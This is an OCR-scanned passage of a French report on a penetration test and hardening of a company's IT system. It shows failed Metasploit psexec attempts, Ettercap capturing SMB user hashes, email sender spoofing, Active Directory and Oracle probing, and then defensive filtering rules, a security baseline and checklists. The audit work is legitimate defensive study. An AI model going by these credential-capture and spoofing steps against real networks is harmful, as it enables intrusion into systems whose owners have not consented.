
13:14:07 - psexec [-] FAILED! The remote host has only provided us with Guest privileges. Please make

13:14:07 - psexec

13:14:49 - psexec [*] Launching exploit windows/smb/psexec...

13:14:50 - psexec [*] Started bind handler

[13:14:50 - psexec [*¥] Connecting to the server...

13:14:50 - psexec [*] Authenticating as user 'guest’...

13:14:50 - psexec [-] Exploit failed: Login Failed: The server responded with error: STATUS _ACCOUNT DIS

13:15:41 - psexec [* Launching exploit windows/smb/psexec... e ——

13:15:41 - psexec [*] Connecting to the server..,

13:15:41 - psexec [*] Authenticating as user 'guest'...

13:15:41 - psexec [-] Exploit failed: The server responded with error: STATUS_ACCESS_DENIED (Comman
—————

LI | 0|

[Loaded 450 exploits, 192 payloads, 23 encoders, 8 nops, and 225 auxiliary

a“‘ :(h Ll e >~ = m :B # Metasploit Frame ¥ ettercap NG-0.7.3 Shell - Msfconsole Ega] - 2 =3 =H »

Figure 0.24 : Résultat d’exploitations échouées par Metasploit

L’essai de captage du trafic d’authentification par I’outil Etfercap a capté uniquement le trafic
des postes hors du domaine malgré plusieurs essais d’authentification sur plusieurs postes du
domaine afin de pouvoir capter le trafic. Cet outil n’a pas pu interférer le trafic protégé du

domaine par cryptage et pare-feu.
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ettercap NG-0.7.3

Start Jargets Hosts View Mitm Filters Logging Plugins Help

Listening on eth0... (Ethernet)
eth0 -> 00:12:79:C6:31:63 192.168 255.255.255.0

ISSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Privileges dropped to UID 65534 GID 65534...

28 plugins

39 protocol dissectors

53 ports menitored
(7587 mac vendor fingerprint
[1698 tcp OS fingerprint
2183 known services
Istarting Unified sniffing...

ISNMP : 192,168 61 -= COMMUNITY public INFO: SNMP v1
ISMB: 192.168 445 > USER:
HASH: CA12B2F96179D06000000000000000000000000000000000:A1DIB3ESF832A5118C5E91 B7FBAA260A09BES32E6B446AES: CS1SESBD74287B9D

[DOMAIN: WORKGROUP [l ogin Failed)
ISMB: 192.168. 445 > USER: stock HASH:

Istock: 1170B616436998AF200000000000000000000000000000000: 3EA346E5015C2103FC209EBD7DFSABES2EBEECS3DCFCS91 7:F79FCCBGT7785664C
IDOMAIN:
ISMB: 192,168 445 -> USER: guest HASH:

DEFBBAAFE4SD7C600000000000000000000000000000000:8102DD599CA185237FE9B07F242105C9BD31F7CFD264EAAC: 257FC631AFE2FOEF
ORKGROLUP (Login Failed

ISMB: 182,168 k > : guest HASH:
iguest 04C594C1 0EB4F0100000000000000000000000000000000:A6A7646FBB1 28DF81608D47067F5B30DCD3779FDDAACACERB:1B45AC29908D7C03
[DOMAIN: WORKGROUP

ISMB: 192168 139 > USER: anonymous HASH:

[anonymou: 951282C8059EDDAE00000000000000000000000000000000:6CCE37DDB1AD7FE4E6C2B75040D0294DFB3056B3F1D166CDB:194D2CFSAAS0DT7DS
DOMAIN: WORKGROUP

ISMB: 182,168 445 > USER: anonymous HASH:

[anonymou: 979F7DF11851A17600000000000000000000000000000000: 8F7C815BA158887E3DD298F5856E58E6E402C4909A9175DA:C6197ABB165CES2C
[DOMAIN: WORKGROUP

oit Frame ¥ ettercap NG-0.7.3 Shell - Msfconsole RS |

B: 495
Figure 0.25 : Trafic capté par ’outil Ettercap

L’outil /dp.exe n’a pas pu accéder aux données d’AD car on n’a pas obtenu le mot de passe
correcte de I’administrateur du domaine ou de n’importe quel utilisateur qui est membre des

groupes administratifs.

Idap:/issdc.aishti.com/D

Connection  Browse  Wiew Options  Ukilities
= DC=aishti,DC=com  [Result <0>: [null]

o children Matched DNs:
Getting 1 entries:
>> Dn:

1> currentTime: 11/26{2010 15:21:53 GTB Standard Time GTB Daylight Time;
1> subsch Subentry: CN=Aggreg =Sch CN=Configuration,DC=aishti,DC=com;
1> dsServiceName: CN=NTDS Settings.C *.CN=Servers,CN=Aishti-
(s, CN=Sites,CN=Configuration,DC=aishti,DC=com;
5> namingContexts: DC=aishti,DC=com; CN=Configuration,DC=aishti,DC=com;
CN=5chema,CN=Configuration,DC=aishti,DC=com; DC=DomainDnsZones,DC=aishti,DC=com; DC=ForestDnsZones,DC=aishti,DC=com;
1> defaultNamingContext: DC=aishti,DC=com;
1> sch NamingContext: CN=Sch CN=Configuration,DC=aishti,DC=com;
1> configurationNamingContext: CN=Configuration,DC=aishti.DC=com;
1> rootDomainNamingContext: DC=aishti,DC=com;
23> supportedControl: 1.2.840.113556.1.4.319; 1.2.840.113556.1.4.801; 1.2.840.113556.1.4.473; 1.2.840.113556.1.4.528;
40.113556.1.4.417; 1.2.840.113556.1.4.619; 1.2.840.113556.1.4.841; 1.2.840.113556.1.4.529; 1.2.840.113556.1.4.805;
40.113556.1.4.521; 1.2.840.113556.1.4.970; 1.2.840.113556.1.4.1338; 1.2.840.113556.1.4.474; 1.2.840.113556.1.4.1339;
40.113556.1.4.1340; 1.2.840.113556.1.4.1413; 2.16.840.1.113730.3.4.9; 2.16.840.1.113730.3.4.10; 1.2.840.113556.1.4.1504;
40.113556.1.4.1852; 1.2.840.113556.1.4.802; 1.2.840.113556.1.4.1907; 1.2.840.113556.1.4.1948;
2> supportedLDAFVersion: 3; 2;
12> supportedLDAPPolicies: MaxPoolThreads; MaxDatagramRecv; MaxReceiveBuffer: InitRecvTimeout; MaxConnections;
MaxConnldleTime; MaxPageSize; MaxQueryDuration; MaxTempTableSize; MaxResultSetSize; MaxNotificationPerConn;
MaxValRange;
1> highestCommittedUSN: 5126279;
4> supportedSAS| Mechanisms: GSSAPI; GSS-SPNEGO; EXTERNAL; DIGEST-MD5;
1> dnsHostName: « . aishti.com;
1> IdapServiceName: aishti.com:s . S@AISHTI.COM;
1> serverName: C LCN=Servers,CN=Aish® “».CN=8ites,CN=Configuration,DC=aishti,DC=com;
3> supportedCapal 5: 1.2.840.113556.1.4.800; 1.2.640.113556.1.4.1670; 1.2.840.113556.1.4.1791;
1> isSynchronized: TRUE;
1> isGlobalCatalogReady: TRUE;
1> domainFunctionality: 2 = [ DS_BEHAVIOR_WIN2003 );
1> forestFunctionality: 2 = [ DS_BEHAVIOR WINZ003 );
1> d i llerF: lity: 2 = [ DS_BEHAVIOR_WINZ2003 J;

oo oo oo

1.2.
1.2.
1.2.
1.2,

res = ldap_simple_bind_s(ld, ‘administrator’, <unavailable>); }f v.3

Authenti d as dn:'admi ator',

Expanding base 'DC=aishti,DC=com"...

Error: Search: Operations Error. <1>

Result <1>: 00000000: LdapErr: DSID-0C090627, comment: In order to perform this operation a successful bind must be completed on
the connection., data 0, vece

Figure 0.26 : Ouverture de session infructueuse avec ldp.exe sur AD
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5.1.4.2 Les maliciels

L’infection par les maliciels est basée principalement sur la curiosité et 1’ignorance
des utilisateurs : Ouverture des pieces jointes de n’importe quel expéditeur, acceés aux
adresses URL étrangers malicieux, utilisation de medias infectées, téléchargement des fichiers

soupg¢onncux...

Tous ces problémes ont été réglés par plusieurs solutions :
- Sessions de sensibilisation pour tous les employés
- Interdire I’utilisation des medias externes
- Installation et mis a jour de 1’anti-virus chez tous les postes

- Filtrage des pages web accessibles par les utilisateurs

—
. WEBSENSE.
Websense Web Security Suite

hE Websense Manager
— . — a

Fil= Edit Actions Server Helo

Hetwortk | Desttop

Palicy: User_level
@ 182.168. Start Time End Time Days Category Set / Yes Li
[#~# Fitering Services 00:00 [24:00 Sun Man, Tue ¥ved
[=-® Clierts
- ® Dirgctory Okjects
Wiorkstations
- ® Networks
—I-# Fitter Defintions
e Poiicies
Fo @ Glokal
Managars E Category Set: User_lavel Edit... Protocal Set: User_
User, Ievel |_wvith_facekbc =g -; Al Categories < | E-all Protocals
wreh_reporting -- * Globs [ .; Abartion . E| Database
Categary Sets - ¥ Adul Material F S et
Protocol Sets .; Advocacy Groups U File Transfar
Custom Rl M # Bandwicth 7 P
es Lists @ '; Buginess ahd Economy D 7 Gopher
= Keywords El 7' Drugs , WAIS
- ® File Types H - :
- @ Categaries E‘ "f Faucstion [S-inatarit b , Tgﬁfndh
T & # Ertertainment nstel essagmg
& Yeh Fiter Lock @ '{ Extended Protection ! ACL Instary
Bdministration ¥ Gambing /. Backa Hi
Super Adinistrator ¥ Games 7z Brosi
Report Administrator (former El 7' Government D '/' Camnfrog
L web_reporting .; Health 'f' Chiltka Mes
7 llegal or Guestionable 7z Eyehall Chs
E L4 '; Intarmation Technology 7z Gadu-Gad
I':i'l | Internet Communication D 7z Gizmo Proje
.; Job Search 7 Globe?
+ Militancy and Extrermist D 7z Ginail Chat
- # Miscelaneous 7 Goober Me:
& 7 News and Media E ¥ Google Talk
E k4 '; Productivity 7z /L
+ Racism and Hate E 7 IRC
- # Religion 7 EpQ
22 + Security ¥ Mail Ru
E .; Shapping e 'f' Meetro
22 7 Social Organizations E 7z MSC Messe
E '; Society and Lifestyles D 7z MEM Messe
7' Special Everts E 7z :::tszacelm
- Sports 7 Nateon
‘; Tihun” g % Nenz
Baslc and Advanced Fiters Protocol Fitters
Permit : Block Keyword Permit
Block \TB Blocked and Locked Keyword Block
@ Blocked and Locked m Block File Types Blocked and Locked
(o) Lirmit by Quicts E‘a Blocked and Locked File Types E Log

Figure 0.27 : Filtrages des pages web par I’outil Websense
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Error =

UU = | | f} _http:-'-'»'a'\\.w\-.facehuuk.com-’

i Favorites | [Ei Error Message

Network Access Message: The page cannot be displayed

Explanation: There is a problem with the page you are trying to
reach and it cannot be displayed.

Try the following:

s Refresh page: Search for the page again by clicking the
Refresh button. The timeout may have occurred due to
Internet congestion.

+ Check spelling: Check that you typed the Web page address
correctly. The address may have been mistyped.

» Access from a link: If there is a link to the page you are
looking for, try accessing the page from that link.

If you are stil not able to view the requested page, try contacting your
administrator or Helpdesk.

Technical Information (for support personnel)
« Error Code: 502 Proxy Error. The ISA Server denied the
specified Uniform Resource Locator (URL). (12202}
IP Address: 192.168
Date: 11/26/2010 3:0/:27 PM
Server: e aishti.com
Source: proxy

Figure 0.28 : Filtrages des pages web par I’outil ISA Server de Microsoft

¥ My Computer !E n
[

@ Back - J lw /I__) Search i~ Folders v
address | J my Computer Rl

Hard Disk Drives

»

System Tasks

Wign system information E@ Local Disk (C:) &;@ Data (D)

:__") Add or remove pragrams

[ Change a setting
&3 Eject this disk Devices with Removable Storage

Other Places 2 [.---HE! 3% Floppy (A .. CD Drive (E:)

. =
& My Network Places
Ej My Documents

[ control Panel

s ""‘; MADADICHO (F:)

Restrictions E

Details
@ This operation has been cancelled due ta restrictions in effect on this computer. Please contact your system administrator.

NADADICHO {F:}
Removable Disk

File System: FAT32

Figure 0.29 : Medias externe inaccessibles par les utilisateurs
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5.1.4.3 Les messageries

La sécurisation des systémes des messageries est réalisée grace a plusieurs outils de

filtrages des messageries €lectroniques et instantanées. Ces outils ont été implémentés depuis

deux ans, a travers le pare-feu Barracuda, mais quelques modifications mineures ont été

ajoutées aux regles existantes :

Filtrage des picces jointes des messages électroniques

Filtrage des expéditeurs et destinataires autorisés

ARRAGUDA

NETWORKS

Y3 Basic | BLock/accerT | usErs | pomains | ADvaNcED
l

Total| Day| Hour Total| Day| Hour

Blocked | 7,933,787 955 59 Blocked: Policy 100 0 0
Blocked: Virus 6,391 0 0 Blocked: Spam 5,792 1 0
Rate Controlled 46,436 0 0 Blocked: Virus 1 0 0
Quarantined 3 0 0 Rate Controlled 3,967 0 0
Allowed: Tagged 10,555 0 Quarantined 0 0 0
Allowed 768,371 109 7 Sent 723,785 49 13

Total Received | 8,765,543 1,064 66 Total Received 733,645 50 13

Figure 0.31 : Statistiques de filtrage des messages €électroniques de I’outil Barracuda

Daily Mail Statistics [outbound] Help

8.0K

6.0K
40K

M Sent

W Quarantined

M Rate Controlled
M Blocked: Virus
M Blocked: Spam
M Blocked: Policy

20K
0

100K

M Allowed

M Allowed: Tagged

W Quarantined

M Rate Controlled

M Blocked: Virus

M Blocked: Spam

M Blocked: Bad Recipient

L e R T R T S T e e ol T T e T R
e L e e e e L e e

OoOooOO0O00O0O000 0000000000000
OO OO OO CUCION OO OO O O CUOCICI O OIS CUOI I

Figure 0.30 : Statistiques de filtrage journalieres des messages électroniques de
P’outil Barracuda
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Extensi Ci t Inb d Outb: d Bulk Edit Domain/Subdomain Hame Comment Bulk Edit
Black | Block v Add
ade Quarantine » | Off v r]' 1230pt.com []
adp Quaranting | OfF w 5] abc.com lb 0
bas Quarantine | OfF w 5] acamdivani.it []
bat Quaranting | OF - 5] accsal.com 1
hrn Quarantine s | Off ~ ﬁ ae estee.com z
cnd Quarantine '+ | Off v 5] ae vuittan com U
om Quaranting « | Off v 5] airelles fr =
cpl Quarantine « | Off v 9] al.-sawanl.com
r Quarantine w | Off v [3] al?ce.\t —
dll Quarantine w | Off v 5] al?ceando\l\na.c:om =
exe Quaranting | Off v [3] allvar..com s =
- altakindustries.com
hip Quarantine » | Off v 1] =
anmagroup.com
hta Quaranting « | Off v 5] e =
inf Quarantine « | Off w 5] TS =
ins Quarantine « | Off s 5] oo =
isp Quarantine « | Off v 8] e ]
is Quarantine « | Off v 3] atelierduvin.com T
jse Quarantine v | Off v (5] tollin com 3
Ink Quarantine w | Off v [3] aub_edulb
mdb Quarantine | OfF hd 0 babyfairest.com
mde Quaranting « | Off ~ [1] haderlebanon.com ]
msc Quarantine + | Off v 5] ballantyne.it ]
msi Quarantine « | Off v 5] batelco_com bh 1
msp Quarantine + | Off v 5] bb-p.net :
mst Quaranting w | Off ~ [3] bdpgroup.com
pcd Quarantine w | Off w 8] bejeweledapparel com :
pif Block v | of v 0 beymen com tr L
= hhsusa rom

Figure 0.32 : Regles de filtrages des messageries électroniques

La sécurisation d’une session d’authentification avec le serveur de messagerie a ¢té¢ accomplie
a travers le changement de la méthode d’authentification pour étre Integrated Windows

Authentication au lieu de Form Based Authentication qui envoi les données en plein texte.

b B Han G AR ey e O e
File  Action  Yiew  Help
L ol 7

€3 Microsoft Exchange E. Client Access

2 Orqanization Configuration

B 3 Server Configuration T Creats Fiter
i Maibax
b Clienk Access
¢ Hub Transport
i Unified Messaging

2, Recipient Configuration owa (Default Web Site) Properties [<]

=8 Toolbax

Name_+ [ Role [ version |_Outlook Anywhere
By, ExCHanGE Hub Transport, Client Ace...  Version 8.1 (Buld 240.8)  False

Public Computer File Aceess | Frivate Computer File Access | Remate File Servers |
General Avthertication | Segmentation

s ane or mare standard authentication methods:
¥ Integrated Windows authentication
[~ Digest authentication for windows domain servers

I™ Basic authentication [password is sant in clear text]

" Use forms-based authentication:
Logan Format:
& Domainiuser name
£ Wser principal name [UPH]

CRm— s |

Ls domain:
ogon domair; T

[aishticom Brovise,

@ To configure 5L settings for this Outlook web Access vitual directory, use
the Intemmet Information Services [115) snap-n,

ok | caneel | b | Hep |

Figure 0.33 : Méthode d’authentification avec le serveur de messagerie
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- |

~ + CHALL CHALL ‘ - ~ =
SRR o | @ | B, %) 6 B0¥RE @07 I

@ Decaders | D network |ﬂy Sniffer |J Cracker |@ Traceroute "m CCou |[‘ij’] Wireless |'i>) Guery |

e AFR Started | Closed | HTTPS server | client | status | File
APR-Cert (1) 29/11/2010 - 11:02:44 29112010 - 11:02:44 192,168, 192,168 Clased by client
,_%.‘ APR-DMS 2911112010 - 11:02:46 2911142010 - 11:02:46 192,168, 192,168, Closed by client HT
Bl APR-SSH-1(0) 29/11/2010 - 11:02:46 29/11/2010 - 11:02:57 192,168, 192,168, Reset by client HT

S} APR-HTTPS (3)
& APR-RDP (D)

B APR-FTPS (0) :

5 APR-POP3S (0) B HTTPS-201011299246296-4415.1xt - Notepad
APR-IMAPS (0) Fila Edit Format View Help

APR-LDAPS (0}

Accept-Encoding: ?zip, deflate ¢
User-agent: Mozilla 4.0 (compatible; MSIE 6.0; windows WT 5.1; Swl; .NET CLR

1.1.4322; .NET CLR 2.0. 50?2?5|

HosT: aishti.com

Connection: kKeep-alive

Authorization: Megotiate

YIIFZgvGRwWYBBQUCOIIFw]CCBvaglDaiBgkghk iCOxIBAGIGCSOGSIhIEQECAYY KKWYEBAGCNWI CCOKCEBSWE
ggUoYIIFIAY IK0ZIhy CSAQICAQBUNQUTMIIFDAADAGEF 0OMCAQET BWMFACAAAACT gOQSYY IENTCCEBDGOAWIE
BaEMGwpEBSVNIVEKUQOONOT Y wIKADAGECOROWGE XS ESFRUUBSTZxh] aGFUZ2UUyw] ZaHRpLMNybAoCA TwggPu
DAMCARehAwIBF6KCA+AEHgPcdeffKIKyGAxlTHLYo?ba¥821KODpuxsmkbLYPGjXMSLmeTAzldmer?QdS
CMxIFwi+vEow]gas gvewhKDLhFhE8VPEDS0E4H MpomTemije +%QCDSLIATbYL2+4vsjRLOGOSxBVlfN rzl,
fowRd Ulp,B1DT19ICk 991 cADCCEZr3KEZ /6ED2 I TneSvg2, N gezIlesRU3BJt¥g+j9L1LV8AW+ItcHuG
wil1lz3h0M, 5 C3NvoRTXIMmNWS IL 2y p2 717 af At Powllt NOGY dwZwBWGoootraOFk ]l ePRaAbTEACRZILVIAGE
OdOO5BfNY+geE;ex2ESXWIVQQdSODGGItGKpunOBZkh0m2e0h511er012IxNech0wthdQ0ax95Szomoxx
BaNSNTHCWBLSwTELPagR ] KQQUIBRXhIvIMPG+wgeH IM+mos AhZ guy UgavvE Joag T w8 500M3r dkB+8DQdKWSE
AOiﬁ%gijujIfoXUPwklyapP1IFaBuvbgigPyKJcbwzzc4knwsrstqb00wu1 DF1gNGE3ebxoeslec /zah
in B1KME2C,/ 9,/ RIQFCCHEX]4 vy idK//cQD52] /I snrisc+3eG4hnzeaFlUoBDOr BRCLyUxn <7 gBj vl Zxv
ZOXEY SwdwWo o TwWUuwOE T dgPoC3vyalmB Kkk 0GHdxD2 h2 EEp&y=wBT 9z 0uooGalt0d 3BCE4 s O6T+FFGNP
hVDMPM s ¥ WVCQhVZ T Xt +wOSyEBLONZMT pMI4 ZmewT 0] r cod PC+EA whk 11y T2 RWEVENR 2 WowL ywpr Swx FmE2x
a+snlkwuy0AWDpY0S SOAUOXTLHwh3a0k TxAJ N2 DtwiQF 26Rw T V/SICO+TI1 Jegx S+0afobTtwalkvhd SPMFUG
SCSERKMRTWySILXTHOr LREZOZNSHx Qf eADyAr KSOLONRUXZUoDEYhT DhDvE] 72 9uvmEF aui s evvd gwsHNTQ
rB?SQrZ4WDZGBx3Mu4BNbKd6jRKBaLInyYIﬁEbf+SJSIath20FVQnVXp+erOZHP292iierQ1P9nN+JCy
HxtgozGekwcURcIzfS12C00jZon5ntcaTE ahdvuigBea+ooynp2y3 1ICHgh 1 951sGacATTAGS 211t rguost
gi1vjdquR+c1kaIerax+txp€jd9T4tEnBSIsz4V8Lk4t31E2arh64pPhT3SvfnéerxVYSnPHHj vIhE
SWKSBoHMBh202 DeyHRgDCatw/E1nL] xshwgy JTORAZK 1 jaromKomRUbUUZpOFlaGOMGRMZor T2k 9FIYgJase
WDCBUaADAGEXD0GXEBI [Client-side-data]
GuUmetRiXmIMERCHLYyScdES0+ITZKID IV SKK 2 xPEF xmz Tt dombeoka7hy 1 sGwoswx UwRAIPI Y hALXOSXXCFS
W xhEYPDCOD 1Y X hTWNTAML3NSPEZRDASLO 1 ZFger EZFty e | LwlladxhcGmw] ET v+ MxS0SDMUx SVEXKAGFKXD &

APR-SIPS (O}

Figure 0.34 : Captage de session d’authentification crypté apreés sécurisation

L’essai d’envoyer un message de la part d’un utilisateur de 1’organisation échoue suivant les
régles du serveur destinataire. Ci celui-ci est bien configuré il s’assure de 1’adresse IP du

serveur du domaine recu sinon il recevra de quiconque.

Select distribution list:

| all mails

Sender e-mail address: Sender name:
ol “@aizhti.com v | [roland
‘ > Send ff‘ Send later..

Send settings:

Smar
Send mode: iUs ?r’«’R —_? E:su gnrg T D ﬂﬂ =
S Operation completed
: Sent: 1 /5 Duplicated 0 Invalid 0 362 bytes
‘ [CCTITITIT FTTTTTTTTTT I FTTTT 4
@ 0O
U oK Log Pazzword:
y £ >
@ Dir
Message size: 353 bytes Mailing total size. 172 K

1 Ratru with SMTP in nase of arnr

Figure 0.35 : Résultat de livraison d’un courrier envoyé de la part d’un utilisateur interne
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5.1.4.4 Injection de code SQL

Le probleme majeur d’Oracle rencontré dans les parties précédentes était ’excés de
privileges des utilisateurs réguliers. Aprés la révocation des privileges excédés, les essais
d’accéder aux ressources par un utilisateur régulier a travers ’interface SQL, la commande
sqlplus ou les interfaces du logiciel MACC, ainsi qu’avec ’outil checkpwd pour balayer les

utilisateurs existants ont échoué a cause de manque de privileges.

La vulnérabilité dans 1’extension de priviléges par injection de code dans le fichier de libraire
oraclient10.dll a été fixée par le contréle d’acces sur le répertoire contenant tous les fichiers

systeme d’Oracle.

ommand Prompt - SQLPLUS

Connected to:
Oracle Database 18g Release 18.2_.8.1.8 - Production

SQL> SELECT = FROM USUERSION
253
SELECT = FROM USUERSIOW
k3
ERROR at line 1:
ORA-80742: table oy view does not exist
2QL>» SELECT = FROM ALL_USERS;
SELECT = FROM ALL_USERS
k.3

ERROR at line 1:
ORA-B0942: table or view does not exist

SOL >

Figure 0.36 : Accés aux ressources systémes par un utilisateur régulier échoué

ommand Prompt

C:scheck>checkpud tezstsnadadichoPtestdbh pass.txt

Checkpud 1.23 [Winl — <c? 2805-2887 by Red-Database—Security GmbH
Oracle Security Consulting,. Security Audits & Security Trainings
http: ./ uwu._red—databaze—security.com

initializing Oracle client library
connecting to the database

retrieving uszers and password hash values
ORA—BBA242: table or view does not exist

zelect username, password. account_status from dba_users

disconnecting from the datahase

C:scheck>_

Figure 0.37 : Résultat négatif de I’outil checkpwd
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La majorité des tests d’attaques au niveau de la couche Application ont échoués de pénétrer
les systemes ou d’obtenir des données pertinentes. Le systéme est totalement sécurisé¢ au

niveau du SE, attaques des maliciels, attaques par messageries ou par injection de code SQL.

Table 0-1V : Résultats des tests de la couche Application

Date des Risques /
Vulnérabilités / Etat Résultat
tests Impact
Systémes 26/11/2010 Tous les postes sécurisés par  Accessibilité
d’exploitation mot de passe complexe difficile compromis

- Tous les postes avec anti- Accessibilité Non
Maliciels 26/11/2010 . .., e )
virus totalement sécurisé difficile compromis

Session d’authentification

. cryptée Accessibilité Non
Messagerie 27/11/2010 . : .
Messagerie instantanée complexe compromis
sécurisées
e Eliminer les priviléges o
Injection de o ) . Accessibilité Non
30/11/2010 administratifs des utilisateurs )
code SQL complexe  compromis

réguliers

5.2 Modeéle de référence

Un systeme informatique sécuris¢ efficacement exige une approche intégrée de
défense en profondeur. La premiére couche d'une approche de défense en profondeur est la
mise en ceuvre des éléments fondamentaux de la sécurité. Ces ¢léments constituent un modele
de référence solide sur lequel des méthodes et techniques avancées peuvent ensuite étre
construit.

Le développement et le déploiement d’un modele de référence peut toutefois étre difficile en
raison de la vaste gamme de fonctions disponibles. Pour accomplir cette tache on se base sur
les éléments clés de sécurité qui devraient étre abordées dans la premiére phase de mise en

ceuvre de la défense en profondeur.
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Modele de référence

Visibilité totale

Identifier

-Niveau de confiance des utilisateurs
-Niveau de confiance des services
-Niveau de confiance du trafic

Surveiller

-Performance
-Comportement
-Evénements journaliers
-Conformité aux politiques

Corréler

-Evénements journaliers
-Problémes rencontrés
-Solutions suivies

Controle complet

Fortifier

-Transport de données
-Services

-Infrastructure des applications

Isoler
-Systemes
-Services
-Ressources

Renforcer
-Sécurité
-Politiques
-Infrastructure

Figure 0.38 : Eléments clés d’un modéle de référence
Référence : Network Security Baseline — chapter 1 — Introduction (Cisco)

Le mode¢le de référence doit joindre deux fonctions majeures : la visibilité totale du systeme et

son environnement et le controle complet des activités et fonctions de ce systéme dans cet

environnement. Les ¢léments du modele de référence ont été catégorisés suivant les éléments

majeurs d’un systéme informatisé.

5.2.1 [Utilisateurs

- Mis a jour des comptes des utilisateurs

- Privileges nécessaires et limités

- Controle et mis a jour des cartes d’acces

- Mis a jour des listes d’acces aux ressources (ACL)

- Grouper les utilisateurs a configuration commune

- Sensibilisation au systéme et dangers

- délai de session

5.2.2 Serveur et clients

- Anti-virus activé et mis a jour
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UPS et ventilation

Verrouiller poste apres certain temps d'inactivité
Supprimer les utilisateurs locaux

Mot de passe complexe pour 1I’administrateur local
Horaire de scan quotidien par 1’antivirus

Mis a jour de I’inventaire des dispositifs informatiques

Périphériques du réseau

Noms catégoriques et clairs

Mots de passes complexes

Eliminer configuration par default

Banniére de notification: ACCES INTERDIT AUX
AUTORISEES

Désactiver les services inutiles

Fermer les ports inutiles

Cryptage du trafic wi-fi

Supprimer les CS inutilisés

Sécurisation dans des racks verrouillés

Politiques de groupe

Désactiver les medias externes (cd, usb, bluetooth...)
Activé le Pare-feu

Mis a jour réguliére des SE

Complexité des mots de passe

Profile limité pour les caissiers

Paramétre des journaux d’événements

Salles informatiques

Systéme de controle d’acces

Systéme de détection d’humidité, chaleur et feu
Cablage sécurisé et annoté

Plancher surélevé

Cameras de surveillance

PERSONNES

Systéme de détection de mouvement li¢ a un composeur automatique

NON
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5.2.6 Documentation

- Inventaire des dispositifs informatiques et leurs propriétaires
- Problémes survenus sur chaque dispositif

- Solutions suivies pour chaque probléme

- Licences des SE et logiciels procurés

- Contrats de maintenance et rapports de visites correctives

- Incidents et actions correctives

5.2.7 Politiques de prévention

- Définir les ¢éléments indispensables pour maintenir 1’activité de 'entreprise : base de
données, serveurs, commutateurs, emails...

- Backup des données hors sites: base de données, fichiers des utilisateurs,
configurations des périphériques...

- Redondance des dispositifs : chargeurs électriques, disques durs, serveur...

- Planification de la capacité : alarme déclenché sur le seuil 80%

- Familiarisation avec le processus de récupération apres incident

- Vérification de l'efficacité de la documentation de récupération

- Vérification de l'efficacité du site de récupération

- Vérification si les objectifs de récupération sont réalisables

- Tester le processus entier de récupération

Temps de
récupération Double sites _
plusrapide Equilibrage des charges Site
Procédés contre les pannes

Colit élevé

Equilibrage des charges

Systéme de redondance
Réplication des données
Faisceaux de données

Application

Gestion de la sécurité

Protection des données Données

Réseau

Temps de Electricité -
récupération o nfrastructure
lent

Equipements

Cofit abaissé

Batir une fondation solide pouratténuer lesrisques

Figure 0.39 : Diagramme des éléments fondamentaux du systéme
Référence : http://eolastechnologies.com/what-we-do/it-management/disaster-recovery
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5.2.8 La planification en cas d’incident

- Estimation temps de reprise apres panne
- Suivre les procédures de récupération
- Identifier les améliorations et dispositifs nécessaires

- Utilisation des dispositifs secondaires

Temps écoulé depuis l'incident

Temps Maximale de panne tolérable

processus Processus
Processus ] ST
de i e de Processus de récupération
L. d’investigation e
notification décision
M F 3 N
Incident Invoquer la reprise aprés incident Reprise normal
du travail
L b
> >
Délais d’invocation Délais de récupération

Figure 0.40 : Flux d'activités en cas d’incident
Référence : http://www.continuitycentral.com/feature(0524.htm

Ce modele de référence peut étre utilis€ au cours de l'évaluation initiale d’un systéme
informatique et durant les phases d'analyse des lacunes. 11 donne les exigences minimales de
controle et gestion de sécurisation de ce systeme. Dans le futur, les forces et faiblesses du

systéme peuvent étre identifiés en les comparants a ce modele de référence.

5.3 Listes de controle

L’¢étude effectuée tout au long de ce projet, ainsi que les améliorations implémentées
ont fortifi¢ considérablement le niveau de sécurité¢ des infrastructures informatiques de
I’organisation. Mais ces travaux doivent étre complémentés par des taches de controle a base

quotidienne, hebdomadaire, mensuelle, annuelle et occasionnelle.

5.3.1 Quotidienne

- Systemes de controéle

o Enregistrement des cameras continu
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o Etat des cameras acceptable : vision, cadre...

o Systéeme de détection de mouvement, feu et humidité fonctionnel
o Lumiére ou message d’erreur sur les dispositifs

o Composeur automatique fonctionnel

o Mis a jour des nouveaux dispositifs dans le logiciel IT

o Mis a jour des cartes d’acces

- Backup
o Base de données de Macc
o Base de données des messageries ¢lectroniques et instantanées
o Base de données du logiciel IT

o Fichiers des utilisateurs

5.3.2 Hebdomadaire

- Vérification des fichiers journaux et de 1’observateur d'événements (Event Viewer)
- Les adresses IP allouées par les modems d’internet

- Controdle des anti-virus : versions, signatures, quarantaine, notifications...

- Redémarrage des serveurs

- Etat des UPS : surcharge, décharge...

- Suivre / surveiller la performance et l'activité du systéme

- Redémarrages des serveurs

5.3.3 Mensuelle

- Mis a jour
o Utilisateurs et objets d’AD
o Utilisateurs locaux des SE
o Utilisateurs de MACC
o Listes d’acces sur les ressources
o Listes des adresses emails des utilisateurs des scanneurs
o Listes d’acces sur les portes sécurisés

o Correctifs logiciels
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- Controle
o Chambres informatiques : ventilation, fuite d’eau, cablage...
o Niveau des vulnérabilités par branche
o Espace disque restant
o Fichiers journaux de I’AD
o Fichiers journaux de MACC
o Fichiers journaux des portes d’acces
o Statistiques du trafic du réseau
o Stock des consommables : CD, DVD, encre...

o Stock des dispositifs informatiques : ordinateur, écrans, clavier, souris...

- Backup
o Base de données de I’AD
o Configuration des systemes des messageries
o Configurations des périphériques du réseau
o Configurations des centrales téléphoniques (PBX)
o Fichiers systemes de Macc

o Site interne de 1’organisation

5.3.4 Occasionnelle

- Récupérer a partir des fichiers de sauvegarde (backup)
- Controle des licences des logiciels

- Contrats de maintenance
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Conclusion

Le groupe « TSG» est en voie continue d’expansion géographique, humaine et
technologique. Son systéme informatique s’est développé proportionnellement avec ses
expansions, mais les mesures de sécurisation prises auparavant sont désormais insuffisantes
pour faire face aux nouveaux risques et attaques informatiques. Les motivations des pirates
performants ces attaques peuvent étre un simple défi d’acces, un vol d’information ou 1’arrét
total du systéme piraté. C'est en raisonnant comme un pirate qu’on peut protéger au mieux le
systéme d'information de 1’entreprise. Il faut comprendre les types de piratages auxquels on
fait face et les objectifs des pirates attaquants, d’ou le recours au piratage éthique pour évaluer

les risques et vulnérabilités existantes et appliquer les contres mesure nécessaires.

Le systéme informatique est formé de plusieurs composants humains, matériels et logiciels.
Afin de viser tous ces composants, la méthodologie d’attaque suivie est basée sur I’hiérarchie
des couches du protocole TCP : Acces physique, Internet, Transport, Application. Sur chaque
niveau plusieurs tests ont été conduits et le taux de réussite des attaques variaient entre 40% et

